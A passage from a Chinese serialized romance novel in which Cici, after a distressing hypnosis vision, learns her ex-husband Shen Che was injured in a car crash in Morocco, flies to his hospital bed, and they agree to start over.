贺羡棠叹气:“还不行?” 陈嘉欣想了下,对新事物感兴趣是很健康的表现,贺羡棠原本也没什么心理问题,只是需要有人疏导她尽快从亲人离世的巨大悲恸中走出来。 “……也可以试试。” 依旧在那间避免灯光干扰的房间,开始催眠前陈嘉欣一再强调:“感受会和你之前体验的非常不同,如果你有任何不适,就及时叫停。” 贺羡棠很乖巧,重重点头,比“ok”的手势。 她躺下,闭上眼睛,跟着陈嘉欣的指示冥想。最开始感觉都还可以,和以前并无不同,只是这次出现了画面。 在一道刺眼的白光后,逐渐是白色天花板、一道门、红灯闪烁,看不清字。 然后仿佛有一些声音,刺耳如蝉鸣。 一声急匆匆的“医生”忽然炸开,惊雷一般,让人心脏随之一颤。贺羡棠循声望去,那道门开了,许多看不清面容的人推着医疗转运车出来。 他们中间围着一个人。 看不见是谁,白布蒙着。 是绣姐吗? 贺羡棠像被盯在原地,动不了。她说不出是什么感觉,恐惧、紧张、焦虑。心跳一声比一声重,一声比一声快,她自己都能听清了。 头痛欲裂。 她想停下了,却发不出声音。不知道哪里来的一阵风,将那层白布吹落,她终于看清了上面的人是谁。 那人脸色病态的白,轻阖着双眼。 贺羡棠猛地睁开眼:“不要!” 心跳剧烈不止。 她下意识攥住了身下的布料,似乎只有抓住什么东西才能安心,那一点柔软的料子,是她和世界的连接。 白布下的人不是绣姐。 陈嘉欣及时抱住她,轻轻抚着她的背。 她没想到贺羡棠的反应居然会这么强烈。 “别害怕,别害怕。”陈嘉欣放柔声音,一点点把她带回现实世界。 贺羡棠看着陈嘉欣,缓过神来,眼底那层惊恐渐渐褪下了。 她喝了口温水,说:“这感觉真不好。” 陈嘉欣问:“你看到了什么?” “医院、病床、很多医生和护士,还有……” 还有病床上的人。 贺羡棠又回忆起那个画面,白布被风掀开,露出了沈澈的脸。 64 第64章 ◎他还是对“绑起来”这个话题更感兴趣。◎ 深夜下雨了。 闷雷滚滚,雨“哗”地一声就下大了。托下午那杯茶的福,贺羡棠睡不着,到窗边发呆。她半躺在躺椅上,小腿蜷缩,白色长袍式家居服盖过脚背,露出涂着裸粉色指甲油的脚趾。 风很大,绿意翻涌,雨打芭蕉,开着扇窗,雨丝被吹进来,扑在脸上,一点清凉。 贺羡棠想起下午看见的画面,仍心有余悸。陈嘉欣说得对,今天天气不好,阴沉的天,呼啸的风,不止的雨,让人心情也跟着低落,很难从某些惊慌中抽离出来。 她怎么会想到沈澈呢? 他正值壮年,身体健康,一整个医疗团队围着他服务,生过最严重的病,就是在澳洲那次肺炎。 可他好像也没那么安全,在国外遭遇过枪/击案,司机是境外雇佣兵的出身,每一辆车都经过防弹改装。 是她潜意识里,接受不了沈澈永远离开吗? 贺羡棠想分开和离开是不一样的。 他们分开了,但她也祝他好,祝他长命百岁。 贺羡棠搓了把脸,回去休息,又在床尾凳上见到下午她匆忙放在那的白衬衫,盯着发了会呆,回过神来时,一通电话已经拨出去了。 “喂?”沈澈很有磁性的声音混着一点微弱的雨声,“cici?还没睡吗?” 贺羡棠抿了下唇,开始后悔。 沉默间时间总是很难熬,几秒钟像过去了几个小时,她开始后悔,打这一通电话。 “怎么了cici?”沈澈有些紧张,“不舒服吗?” 贺羡棠说:“没有。” 她捏着衬衫,手心一片潮湿。 沈澈松了口气,靠回椅背里:“这么晚还不休息?” “你也没睡?” “有应酬。”沈澈用耳朵和肩膀夹着手机,从烟盒里抽出支烟,打火机滚轮“嚓”的一声,火光映上他有些倦怠的面容,照的五官愈加深邃。 他咬着烟去凑火,空气潮湿,等了一会儿点燃,才说:“你的电话打的及时,我正烦没理由出来透口气。” 合作方是德国人,南部方言口音很重的德语,听的沈澈头疼。 贺羡棠说:“打扰你了。” 她要挂电话,沈澈说:“别挂。” 贺羡棠放开被她揉的一团皱的衬衫:“有什么事?” 沈澈问:“cici打电话有什么事?” 贺羡棠说:“你有件衬衫落在我家了。” 心虚似地,她补充:“下午整理衣帽间的时候才发现。” 沈澈斟酌片刻,不确定贺羡棠是否愿意被打扰,谨慎地问:“明天我让司机去取?” 贺羡棠轻轻“嗯”了声。 沈澈主动报备:“这周我要去非洲出差。” 又不知要去多久。贺羡棠祝他:“一路顺风。” 挂了电话,关上灯,又辗转许多才睡着,一闭上眼就是沈澈躺在病床上被一群白大褂围着的样子,贺羡棠一会儿想这些都是错觉,一会儿又想在玄学上讲这有没有可能是一种预感。 这个念头冒出来,她自己都被吓了一跳。 香港很多人讲究风水八字,信神明。大家族尤其讲究这些,譬如子女结婚要合八字,又譬如沈家是靠海运起家,老宅里就专门有地方供奉妈祖,数十年如一日地吃鱼不翻面。 年轻人相对不守这些传统,贺羡棠见沈澈在家吃鱼时用两只筷子翻面翻地很利索,只有在沈家老宅时他才遵父母之命收敛一些。 贺羡棠中学就去国外读书了,更不相信这个,唯一一次在佛前虔诚地上香,还是婚前求她和沈澈姻缘美满。 事实证明也没什么用。 真是鬼迷心窍了才会想到这些。 她翻个身,在手机上搜出一条微积分视频,刚看了五分钟就倒头大睡。 次日早晨十点钟,沈澈的司机来取衬衫,贺羡棠早已心情大好,昨天的烦恼皆抛诸脑后,微笑着递过去时,忽然想起她忘记干洗,上面全都是清甜的梨子味。 她的手一下子攥紧了。 司机略带疑惑地看着她:“太太还有什么事吩咐吗?” 贺羡棠条件反射:“说了多少次了不要叫我太太,叫我cici就可以。” 司机不敢造次,略一低头,恭谨地称呼:“贺小姐。” 贺羡棠松开手:“我忘记干洗了,叫你老板洗吧。” 沈澈拿到的衬衫上全是贺羡棠的气息。 很清新的、被凉溪水冲洗过的梨子味,夹杂着一点草木香,是春天摘下后能入口的那种青草。香气难得不甜,若有似无般,让人想起丰沛多汁的口感。 贺羡棠这个人,和她用的香氛一样,虽然淡,但清新美好又独特,让人欲罢不能。 衣摆一角皱了,看上去是被人攥在手心里把玩过,不用想沈澈也知道是昨天贺羡棠给他打电话时留下的。 他想象着那情景。她低垂着脸,涎澄澄的双眸里水波荡漾,连唇珠也是水润的,一只纤细的手攥着他的衬衫,不知她手心出汗了没? 光是想着,沈澈就忍不住了。 他深吸一口气,按下那点躁动。 司机将贺羡棠的话转述给他,沈澈挥了下手,让他出去。 洗? 干什么玩笑,他天天抱着闻。 门关上,沈澈再看笔记本屏幕上最近一次董事会议上的提案,只觉得头晕目眩。幸好办公室里有卫浴间,大白天,他食指扣上领带,扯下来,连同外套一起随手丢到沙发上,拿着衬衫径自走近了浴室。 贺羡棠缩在家里练了几天琴,闲暇时准备参赛的服装,在她收藏的高定里逛了一圈,没找到心怡的,忽然想起她远在法国的那件半成品高定。 果然喜新厌旧是人类本性。 贺羡棠立刻打开电脑给设计师和裁缝师发邮件,询问这周是否可以fitting,得到回复后携Mia飞往法国。 贺少川黏人精也要跟着去,贺羡棠烦他,说:“男人太黏人会被甩。” 贺少川不遑多让:“不黏人的也被你甩了。” 贺羡棠顿时哑火了,舔了舔唇,不甘就此落败,说:“你舔一下嘴唇。” 贺少川一脸看智障的表情:“点?” “我看看你会不会被毒死啊!”贺羡棠扔抱枕砸他。 和贺少川一起出行唯一的好处就是又可以乘他的私人飞机,贺羡棠认为这是给她的精神损失费。 十几个小时的航班,Mia在飞机上规划旅途。她闲人一个,计划等贺羡棠fitting完,从法国去苏格兰看叶微走秀。叶微自从分手之后,事业心又燃起来了,这几个月都见不到她身影。 贺羡棠现在也是很有事业心的人:“我要回家练琴。” Mia侧目:“为了你那个比赛?” 这是最后一次参赛机会,贺羡棠说:“我势在必得!” Mia说:“不就是个比赛而已,给几百万奖金?还不够你买条去参赛穿的裙子的,至于这么拼命?” 贺少川评价:“净干赔本买卖!” 贺羡棠“啪”一巴掌拍过去。 “这不只是个比赛!也不只是几百万奖金的事儿!”贺羡棠仰着小脑袋给Mia科普,“如果能夺冠,就意味着全世界、古典音乐届、所有人都能看见我!到时候就是各种媒体采访、商务代言、独奏音乐会、顶级乐团合作……” Mia对艺术一窍不通,给贺羡棠讲她离艺术最近的一次,就是还在上学的时候谈过一个学油画的男朋友,第一次约会带她去看画展,对着一副全是方块的画讲的头头是道。 Mia当时问:“这个……蒙,蒙什么?” “蒙德里安。” “哦!蒙德里安,他和梵高谁厉害?” “不能这么比较。”那男人手舞足蹈,“梵高的笔触自由奔放,色彩浓烈,如同他熊熊燃烧的情感!而蒙德里安是抽象艺术的先驱,你看这几何色块,看这运用到极致的三原色……” Mia说:“我只认识梵高。” “哦不对,还有毕加索和莫奈。莫奈还不错,那荷花画的挺好看的。” “是睡莲!” “睡莲就睡莲吧,不都差不多么。我家还有幅真迹,压箱底了吧。” 贺羡棠拍着手大笑,问:“后来呢?” “回去就跟我分手啦。”Mia回忆了下,“还挺可惜的,他长的很帅,床上也很会玩。” 贺少川的脸色黑的像糊掉的锅底。 贺羡棠故意问:“是你在瑞士的同学吗?” “对啊。” “那你上次回瑞士,怎么没和他再续前缘?” 贺少川一个抱枕扔过去:“贺羡棠你够了啊!” 贺羡棠朝他扮鬼脸:“你看他还急了。” 到巴黎,没来得及倒时差,一下飞机直奔高定屋,贺羡棠这次试的时候,感觉合身多了,细节处理的极好。 裁缝师又找礼帽给她戴,罩着一层薄纱的款式,老生常谈地夸她漂亮。 她只关心:“看着差不多了,七月可以做出来吗?我要穿。” 裁缝师笑道:“要加班喽。” 贺少川和Mia坐在一旁,分一块蒙布朗吃。贺少川还没从醋劲里缓过来,揽着她腰问:“你那个前男友……技术有我好?” Mia睨他:“你怎么还在想这个?” 贺少川一味吃醋不语。 Mia说:“我说的是他很会玩,你懂吗?就是……花活挺多的。” 贺少川凑在她耳边问:“什么花活?把你绑起来…那种?” 中间那个字,他咬的很轻,Mia听了有些腿软。 她推开贺少川,全身上下嘴最硬:“把你绑起来。” 为了赶走脑海中的污言秽语,Mia拿起手机,无所事事地浏览新闻,一则华人富商在摩洛哥出车祸的新闻弹出来,她点进去,一目十行地浏览,也没看进去什么,直到看见了很熟悉的字眼。 Shen。 贺少川又黏黏糊糊地靠过来,Mia把手机递给他,轻声说:“你看看。” 贺少川扫了眼,华人富商。全世界的华人富商多了去了,欧洲媒体写新闻稿又爱夸大事实,开家连锁超市都能叫“富商”。 他还是对“绑起来”这个话题更感兴趣。 Mia说:“长那么大俩眼干什么用的啊!” 贺少川又扫了一眼:“点?” 把谁绑起来都行,他流里流气地在Mia耳朵边吹气。 Mia气急了:“眼角膜不用捐给有需要的人好了!” 她食指点在关键词那行,手机怼到贺少川眼前:“睁大眼看清楚啊!” 贺少川看清了。 华人富商姓“Shen”,HK籍。 Mia看向贺羡棠:“cici……?” 贺少川干脆利索地关掉新闻页面:“不告诉她。” 【作者有话说】 绑起来…这个“…”里有个字大家能想象出来叭!!! 嘿嘿嘿 65 第65章 ◎沈澈就是在这里出的车祸。◎ 六月,巴黎,初夏,偶有小雨,体感温度也不过十几度,比香港凉爽。 南法天气更好,贺羡棠还是被Mia拐过去度假,贺少川有事先乘专机回国,她们俩预计在法国待一周,然后飞苏格兰看望叶微。 尼斯、芒通、戛纳、普罗旺斯,蔚蓝海岸,浮光跃金,午后阳光穿梭在中世纪的石头城里,宁静的仿佛一千年前。 六七月份的盛夏,南法是度假首选,地中海的阳光明媚热烈,整座城市氤氲在被晒干的味道里。Mia全身喷三层防晒,才敢换上比基尼三件套。 贺羡棠讨厌阳光、讨厌暴晒、讨厌夏天。她宁愿在酒店里睡大觉吹空调,Mia一条膝盖搭上床,拽她胳膊:“起床起床起床起床!” “不起不起不起不起!”贺羡棠透过奶白色双开扇窗看外面,日光晃眼,一眼就能热死人,她把头埋进枕头,“太热了!” Mia晃她的胳膊:“你是来度假的!” 贺羡棠被晃的头晕:“我是被绑架的!” “单押也算押?”Mia盘腿坐在她旁边,柔软的床凹下去一瞬,“快起床。” 贺羡棠中午吃了牛肉粉,正在犯困,眼皮昏昏沉沉的,闭上眼就不愿意搭理人了,半晌才梦游似地说:“你自己出去,我在阳台看你。” 她们的酒店距离海滩只有一路之隔。 Mia半躺着靠在床头:“我有个秘密。” “哦。” “真的,没骗你。”Mia说,“很amazing的那种哦!” “什么?”贺羡棠清醒了。 Mia神秘兮兮地看着她笑。 贺羡棠支起额头,眼尾随着动作吊上去,有点丹凤的形状:“你又看上了哪个法国小帅哥打算把贺少川甩了?” Mia摇头不语。 “那是贺少川怎么了?” Mia一味装神秘。 贺羡棠最讨厌话讲一半,原本没那么想听的,这下不得不知道了。她伸出一根小手指戳戳Mia:“求你了,好Mia,告诉我吧。” Mia挑起她下巴:“好好表现,去苏格兰再告诉你。” 一句话,买贺羡棠卖命一周。 她换了条白色连体泳衣,抹胸处有花朵点缀,戴海星耳环和草帽,拎了个编织包,随Mia去海边晒太阳。 看海其实要挑好天气,晴天,果冻般的海水分了三层蓝色,最近处朵朵白色浪花翻涌,远处湛蓝海面上波光粼粼,像蓝丝绒上撒了把碎钻。 Mia除了拍照,就是和身边经过的年轻男人眉目传情,出来不过十几分钟,就至少有五个人上前搭讪,问她要联系方式。 Mia偏爱五官深邃有点肌肉但又年轻的,最好肤白貌美屁股翘,正好这个季节是欧洲人都出来度假的时候,贺羡棠打眼一扫,半个海滩上的年轻小男生都是她的菜。 她总算知道Mia为什么不惜涂三层防晒也要出来了,这和老鼠掉进米缸有什么区别? “晚上一起出去喝杯酒吗?”Mia挑到一个最合她心意的,“我知道附近有家酒吧还不错。” 她对面站着一个看样子刚成年的小男生,白男花期短,连莱昂纳多都逃不过发福魔咒,也就二十几岁的时候好看。 小男生笑的很甜。 贺羡棠过去拍了下他肩膀,凑近后低声说了几句什么。 吓唬小孩还是简单的,小男生一脸惊恐,连连道歉着逃走了。 Mia捏紧拳头:“Cecilia你坏我好事!” 贺羡棠伸出一根食指摇了摇:“要对你这种不道德的行为勇敢说NO!” 她笑的也很甜,半长的头发随着动作轻轻晃动,莹润的肩膀在阳光下泛着点点珠光,Mia举起相机,抓拍。 到哪里都免不了拍照P图发ins,贺羡棠这张照片都不用P,Mia稍微调了下光就甩到ins上。 她ins上也有小几万的粉丝,照片一发出去,点赞评论纷纷,自然注意不到一个空白头像的用户。 /:. 越过南法和西班牙,直布罗陀海峡另一岸,同样是环地中海的国家。摩洛哥,南接撒哈拉,北临地中海,西面是大西洋,虽然身处北非,但靠近西班牙,白人更多,经济、旅游业较为发达。 沈澈就是在这里出的车祸。 随行的属下和接洽的当地官员都吓坏了,沈澈这个位置,车祸已经几乎没有意外的可能性了,事故调查结果查到了沈万州老婆头上。 沈万州去世以后,她带着孩子远赴欧洲生活。 沈澈听下属的汇报,末了问他意见。 他捏着眉心问:“孩子呢?” 不多时下属领着两个小孩到病房来。这两个孩子是龙凤胎,今年四五岁,小孩长得快,又不记事,大半年不见,已经快不认识他这个大伯了,十分拘谨地贴在一块儿。 粉雕玉琢的两个小孩子,标致的像年画娃娃,也不知道沈万州怎么生出来这么讨喜的小孩儿。 “过来。”沈澈朝他俩招手,“让大伯看看。” 小女孩胆子大些,凑近了。沈澈挺喜欢小辈,抱着举起来哄她玩。 下属略有些紧张,他的伤还没痊愈:“沈董。” 沈澈淡声说:“无妨。” 地中海沿岸的阳光明媚的仿佛日头永远不会落下,小女孩沐浴在光里,“嘿嘿”地笑,奶声奶气地叫他:“大伯。” 沈澈哄着小孩玩了一会儿,末了让人把孩子送回他们母亲身边,接过下属递来的毛巾擦手。 他一根根手指擦的仔细,语气淡然:“她一个人带着孩子生活也不容易,给她一张支票,叫她随便填。” 下属走后沈澈拿当地的报纸打发时间,一翻页就看见他自己,新闻写的夸大其词,不过正好给了他在董事会议上发作的理由。 一群人看他才安生了几天,又来催他生孩子,派了亲近的女眷来游说,“三十几岁的人了,结婚五六年,连个孩子也不要,像什么话?往后这家大业大的交给谁去?” 还孩子呢。他连老婆都没有了,三十几岁,同龄人不说家庭多么和睦美满,也都是有了娇妻幼子,他呢?又成孤家寡人。 幼子不好,还是女孩儿可爱。沈澈想起有个朋友,今年刚得了个小女儿,恨不得天天顶在头上炫耀。 沈澈又想到贺羡棠,点开手机,想给她发条消息问候,仔细一想还是别打扰她清净。从whatsapp退出来,他点开ins,看贺羡棠和Mia的社交账号有没有更新,便看到了Mia拍的那张照片。 沈澈点一个赞,然后才点开照片。 贺羡棠笑容明媚,相比之下背景中无尽湛蓝的海都褪了色,沈澈印象里贺羡棠很少穿露肤度这么高的衣服,他忍不住皱起眉,盯着看了一会儿,才察觉到贺羡棠离他不远。 看样子就在南法。 夏季白昼长,地中海的白昼更长。六点多,贺羡棠和Mia换上长裙,去老城里吃晚餐。 阳光依旧明朗,像一块干净的大玻璃,人们跃入无忧无虑的金色,穿梭徘徊,爵士乐的声音由风传的很远,小喇叭欢快伶俐。 老城里热闹。 贺羡棠挑了一家有室外座位的餐厅,吃尼斯沙拉,倒没什么特别的,番茄、甜椒、黄瓜、洋葱、橄榄、金枪鱼、凤尾鱼,淋橄榄油和红酒醋,冷食。 贺羡棠撑着下巴,随意翻看手机,回复几条消息,看一点新闻。有则新闻报道华人富商在摩洛哥出车祸,她点了个不感兴趣。 一周后去苏格兰,刚踩到苏格兰的土地上,贺羡棠就缠着Mia问:“秘密是什么?能告诉我了吧?” Mia打着哈哈:“哎呀先去看叶微,晚上再告诉你。” 一段时间不见,叶微又瘦了,双颊凹下去,化妆又刻意在那处打了阴影,看着更加凹陷,大概是秀场都喜欢的“高级感妆容”。 贺羡棠抱她,好细的腰,感觉她的胳膊能缠两圈:“你什么时候能休假?” “七月是时装周。”叶微已经饿了一个月了。工作就要保持体重,笑基数减肥没什么好办法,除了饿还是饿,饿的她整日里头晕眼花,现在恨不吃人。 “好可怜。”贺羡棠拍了下她肩膀,扭头跟Mia说,“我们还是出去吃吧,别在这里诱惑她了。” Mia左手一个汉堡右手一杯可乐,闻言递给叶微:“尝一口,秀场之后的晚宴肯定吃不饱。” 叶微深吸一口气,蠢蠢欲动,她经纪人大喝一声,贺羡棠赶紧带着Mia溜了,临走前跟叶微挥手:“拜拜,一会儿秀场见。” Vic用户永远头排看秀,永远离设计师最近,只不过这次,贺羡棠还在第一排看见了一个很不想看见的人。 周聿安和她面面相觑,他身旁是一个很娇小的女孩子,圆脸,杏仁眼,瘦瘦的但不高,看上去也就大学刚毕业。 四目相对,彼此眼中很多困惑。 比如贺羡棠想,这个女人是从叶微手里撬走周聿安的那个吗?看着不像啊?安仔也没那么长情吧,说不定有换女朋友了!扑街!这是谁排的座位? 比如周聿安想…… 他想什么就说出来了:“嫂子?你没去陪我哥吗?” 贺羡棠蹙眉:“你哥?” 大事不好!Mia不停给周聿安使眼色,可惜这人生下来脑子就缺了根弦,完全看不懂她的暗示。 “对啊,沈澈。他在摩洛哥出车祸了,还挺严重的,你不知道吗?我还以为你们俩……”周聿安的视线越过贺羡棠,看向Mia,疑惑地问,“Mia姐你眼睛怎么了?” “轰”的一声,贺羡棠耳畔仿佛有惊雷平地炸开。 她想起那个噩梦般的画面,沈澈面色苍白地躺在病床上,被一群人推走。 【作者有话说】 俺来啦!评论区给大家发点小红包^ω^! 66 第66章 ◎人生能有几个满月的夏夜?◎ 当晚从苏格兰飞往摩洛哥的航班,需要从伦敦和巴黎转两次机,抵达塞尔机场时,是次日下午一点钟。 这座大西洋沿岸的城市阳光正好,贺羡棠拖着行李箱出了机场,才发现她根本不知道沈澈在哪。 甚至……可能不在拉巴特。 贺羡棠没办法,只好联系沈澈的助理。半个小时后,一辆黑色越野车停在机场外。 他助理亲自来接。 贺羡棠庆幸没飞错城市,摩洛哥的首都在马拉喀什、菲斯这些旅游城市的光环照耀下显得过分黯淡。 助理为她拉开车门,也疑惑:“夫人怎么想到来扎巴特?” 贺羡棠懒得纠正他的称呼了:“你们在这里有一家子公司。” 助理微微颔首,不再多话,载她去医院,路上讲了一点沈澈的情况,幸好他的车都是经过改装的,人没事,只是动了个小手术,医生嘱咐要静养。 “什么小手术?” 助理沉吟片刻:“骨折。” “都要做手术了?” “已经快好了。”助理瞄着后视镜里贺羡棠的脸色,斟酌道,“就是沈董心情不好。我在他身边工作了七年,还没见过他这么……失魂落魄的样子。” 贺羡棠沉默。 助理不吐不快:“他二十几岁接触公司业务,从底层做起,跟您订婚那年上任执行董事,五年里宵衣旰食,夙夜不懈。” “远南集团在全球有十几万名员工,他的一举一动都关乎着十几万个家庭,董事的身份不仅是权利,更是责任和担当!您如果想要一个无微不至的丈夫,从一开始就不应该选择沈董。” 他大学毕业后就到远南集团工作,遇到彼时来底层锻炼的沈澈,坦白讲,他现在这个位置就是沈澈一手提拔起来的*。 助理这个岗位,是离沈澈最近的人,毫不夸张地说,是心腹。七年职业生涯,他从没见过沈澈这副困于儿女情长里的模样,那和一个领导者的形象相差甚远。 沈澈应该和以往一样,是手腕强硬果决,处事不失温情,在任何时刻都能保持理智和冷静,然后做出利益最大化的选择的一个人。而不是傍晚枯坐在办公室的落地窗前,遗憾他曾经没有陪贺羡棠看过一场日落。 离婚半年多,助理每天见到的沈澈,都比前一天更憔悴。澳洲肺炎、绣姐去世,他频频耽搁工作,而最近,他甚至提不起精神了,如一具行尸走肉。 “还有光总!您以为他有那么多时间和所谓的朋友打球社交吗?那都是应酬!他这个位置,哪还有什么纯粹的朋友!” “您还要他怎么样?”助理为沈澈抱不平,“从澳洲回来以后,他的肺炎一直没好,一受凉就要复发。绣姐去世,他亲自扶灵,陪了您快两个月,您呢?转头就把他赶出门,您知道报纸上怎么写他吗?!” 贺羡棠撇开头,看沿途风景。异国他乡,望出去都是阿拉伯式的建筑,白顶白房子,花树环绕。 她怎么会不知道报纸上怎么写他。沈董事长纡尊降贵给一个保姆扶灵,除了一句夫妻情深外难道还能有好听的话吗?他家里那些守旧的老掉牙的长辈,又怎么会不借此找他的麻烦? 可贺羡棠还是有点生气。她哪被人劈头盖脸地这么指责过,那点火气翻涌着,堵不住。过了会儿,她嚷:“停车!” 她要回香港! 沈澈又没死,区区骨折,她干嘛要来看他! 助理缓缓踩下刹车,扭过头风平浪静地对她说:“到医院了。沈董在七楼,左拐第二间病房。” 贺羡棠顿时哑火,什么气都消了。 她抬眼,数七层,望向中间偏左的第二扇窗户。 / 沈澈没想到能在摩洛哥见到贺羡棠。 病房的门被推开时,他已经是查房的护士,刚想命人先出去,一抬头,便愣住了。 贺羡棠立在门前。 她穿一条白色刺绣长裙,盈盈望过来,抿紧了唇。 “cecilia。”沈澈屏住呼吸,“过来一点。” 贺羡棠顺手关上门,走到病床前看他。他瘦了,因此眉眼更加深邃,不知道为什么头发也理短了一点。 对视的目光太炽热,贺羡棠垂下眸躲避,此地无银三百两般:“我和Mia在欧洲玩,听说你出车祸了,顺便过来看看你,好歹夫妻一场,你要是死……” 话没说完,唇被封上。贺羡棠猝不及防,尝到嘴唇上湿漉漉的触感,瞳孔微微扩大,不可置信地望着他。 挨的这么近,她眼前是一片连纹理都清晰可见的皮肤。 贺羡棠抬起手,搭在沈澈肩上,稍微用了一点力气,可还是软绵绵的,推不开他,最后那只手放弃抵抗,揉皱了他身上的病号服。 鼻尖萦绕着熟悉的味道,男人的气息铺天盖地。贺羡棠有点安心。 鬼知道她听见周聿安的话时是什么心情,像听到医院打电话来,告知她绣姐病发时一样,意外把人砸的猝不及防头晕目眩。 十几个小时的长途飞行耗尽了贺羡棠所有的心力,她睡不着觉,牛一般混着焦虑和恐惧一遍遍反刍催眠时看到的画面,想象着沈澈是不是也这样? 在经历过绣姐离世后,她再也经不起任何一场离别了。 在伦敦和巴黎的机场,她像只幽灵飘在人群里,登机时在廊桥上,看见夜色如水,黄铜色的圆月高悬。 人生能有几个满月的夏夜? 沈澈碾着她的唇,最初很轻,像是不敢惊扰这样宁静的午后。 她来找他,像一场梦一样。 在彼此温热的鼻息中,沈澈缓缓反应过来,站在他面前的就是活生生的、真实的贺羡棠。他不自觉地用力,想要更多,略微放开她,沉声说:“嘴张开。” 贺羡棠微微张开唇,露出莹白的贝齿。 再没有阻碍,沈澈长驱直入。 除此之外再没有一句话了,两人都专心在这个吻里,阳光真的好的像梦境里一样了,金灿灿的笼着这间病房,空气里浮沉跳跃。 沈澈人生里,很难有这样一个午后。他把贺羡棠扣在怀里,捏着她柔软的掌心研究,她的指甲怎么这么好看?水葱似的,莹润润的透着点粉。 贺羡棠说:“我涂指甲油了。” 沈澈握着她的手指亲了一口,再看向她,几乎不能对视,目光撞在一起就能擦出火花,他俯身又吻上去。 这个吻更轻柔,不带任何欲望。 窗外有种鸟在啾啾地叫。 再放开她,沈澈才问:“为什么来摩洛哥?” 贺羡棠刚来时第一句话就解释了。 沈澈的脸色太苍白,她不和病人计较,耐心地重复:“我听说你出车祸了。” “谁说的?” “周聿安,他说很严重,你差点要死了。” 沈澈唇角漏出一点点笑意:“然后呢?” 贺羡棠不说话了。 然后呢?她担心他,所以千里迢迢风尘仆仆地转了两次机来看他,她害怕又是一场连只言片语都来不及留下的诀别,她接受不了这样的结局。 沈澈替她补全:“贺羡棠,你在乎我。” 贺羡棠锤他肩膀,沈澈“嘶”地倒吸了口凉气,听起来很痛苦,贺羡棠小心地转动身子:“怎么了?碰到你伤口了吗?要不要叫医生来看看?” 沈澈一把抱住她:“你看,你就是在乎我。” 贺羡棠不愿意理他了,沈澈怎么逗都没用,就陪她看了一会儿风景。医院邻着海岸线,望出去是一览无余的海面。 静静地待了一会儿,沈澈发现贺羡棠睡着了。她从南法来?或者别的什么地方?一路上怕是累坏了,沈澈觉得愧疚,这一次又是贺羡棠主动走向他的。 他把贺羡棠放在床上,想给她调整一个睡起来舒服一点的姿势,她忽然醒了,握住沈澈手腕。 沈澈覆上她手背:“睡一会儿吧。” “晚上我就走了。” 按照原计划,明天她就得回香港了。离比赛的日期越来越近,她没多少时间耽误在异国。 “睡一觉吧。”沈澈说,“你乘我的飞机回去。” 贺羡棠问:“那你呢?” “我还要待半个月。”有些工作没处理完。 贺羡棠“嗯”了声,又说:“你助理说你很忙很累,我如果想要一个体贴入微的丈夫,一开始就不该选择你。” 沈澈蹙起眉:“别听他胡说。” 贺羡棠想说点正经的,这个角度仰视他不合适,她坐起来,沈澈立刻往她身后垫了个枕头。 “他说的挺有道理的,我们结婚的时候,你只是想要一个配合你的合作对象,但我想要一个喜欢我的丈夫,我们从一开始就有分歧。那几年你也很辛苦吧?” 执行董事要管理集团大大小小的事务,却没有绝对的权利,沈诚明不肯彻底放权,让邢璋进入公司制衡他。 那又是远南集团又在海外布局新的业务,新技术关乎着集团未来几十年的发展,沈澈几乎每个月都会飞国外一趟。 有一年沈濯回香港,沈澈跟她说,他有点羡慕沈濯。 沈澈握着她的手:“没有多辛苦,你别听他的,都是我混账。更何况……那几年里,我是不是也让你很辛苦?” “还好。”贺羡棠说,“我们好像走了很多弯路。” “那让我们重新开始。”沈澈心跳飙升,竭力稳住声线,才不至于颤抖到出卖他的紧张不安,“我现在没那么忙了,cecilia,我能不能……重新追求你?” 贺羡棠看了沈澈很久,尽管声线一如既往的好听,可他抿紧的唇、眸底的光彩、滚动的喉结,都出卖了他此刻的心情。 在飞往摩洛哥的航班上,万米高空的重重云层之中,她也想通了一件事。 她无法接受永远失去沈澈。 “看你表现。”贺羡棠说。 愣了很久,沈澈咧开嘴笑了。他也没想贺羡棠立刻就能原谅他。 她仍会对他心软,这就足够了。 晚上贺羡棠乘沈澈的私人飞机返回香港。如果是五年前,她肯定会留下来照顾沈澈,但现在她还有比感情更重要的事情要准备。 而沈澈,似乎也终于在五年后学会了如何爱人。 他们都在五年里成为了更成熟的人。 67 第67章 ◎你也要体谅体谅我,我三十多岁了,现在连个老婆都没有。◎ 沈澈的助理姓齐,叫齐臻。晚上开完电话会议,沈澈叫住他。 齐臻顿住脚步:“沈董?” 沈澈问:“你母亲身体怎么样?” 齐臻一时间拿不准他是什么意思。他是单亲家庭,父亲早早去世,家中只有一个老母亲,去年查出了糖尿病,齐臻在半山给她买了套房,供她颐养天年。 他老实说:“劳您记挂,家慈一切都好。” 沈澈点一记头:“那你去匈牙利工作吧,你母亲那里我会派人照顾。” 齐臻大惊,脑子转的飞快,他哪里让沈澈感到不满? 即便在沈澈身边工作多年,他也仍看不透大老板的心思。 “沈董,我……” 沈澈揉了下太阳穴,看上去很犯愁:“你都跟贺羡棠说过什么?” 原来症结在这儿。 齐臻立刻明白过来,他只是个助理,和沈太太讲那番话,是他逾矩。 多说无益,大老板的决定一向没人能干涉。他低下头,干脆认错:“沈董,我错了。” 沈澈长叹一口气:“你太沉不住气,在外面历练两年再回去,到时集团高层里自然有你一席之地。再者,你也要体谅体谅我,我三十多岁了,现在连个老婆都没有。” 齐臻总算知晓了大老板的底线,但同时他也仍为沈澈而动容,匈牙利的地理位置决定了它是远南集团海外业务一个非常重要的锚点,他全了他的面子。 / 贺羡棠有一只小黄鸡玩偶,很小的斗鸡眼和鸡冠,硕大肥胖的明黄色水滴状身体,下面挂着两只橙色的脚。 贺羡棠躺在双人沙发上,揪着鸡冠把小黄鸡拎起来,看她在半空中转圈,仰头长长地叹一口气。 她弹不好琴。 每个专业的钢琴师技术都已足够扎实,这种国际比赛也不是在比谁的技术更精湛,更重要的是音乐素养和独特的审美意识,有时候,音色上独特细微的处理就能更出彩。 距离比赛还有不到半个月,每天就算练二十个小时,这些东西也很难在短时间内弥补。 夏天白昼长,六点多了,天空也只是淡淡的青色,飞鸟掠过,留下影拓般的一抹白痕。贺羡棠坐起身,刚拿起护腕往手上缠,管家上楼来,把手机递给她。 “沈董的电话。” 贺羡棠点下头,把手机放在钢琴上,点公放,继续缠护腕。 沈澈问:“我刚下飞机,晚上想吃什么?顺路给你带过去。” 贺羡棠疑惑:“不是说还要十天才回来?” 沈澈说:“提前处理了一些工作,让齐臻先留在那边了。” 他在摩洛哥,总是心猿意马,哪还有什么心情工作。地中海的阳光再好也不如香港,果真是记挂的人在哪里心就在哪里。 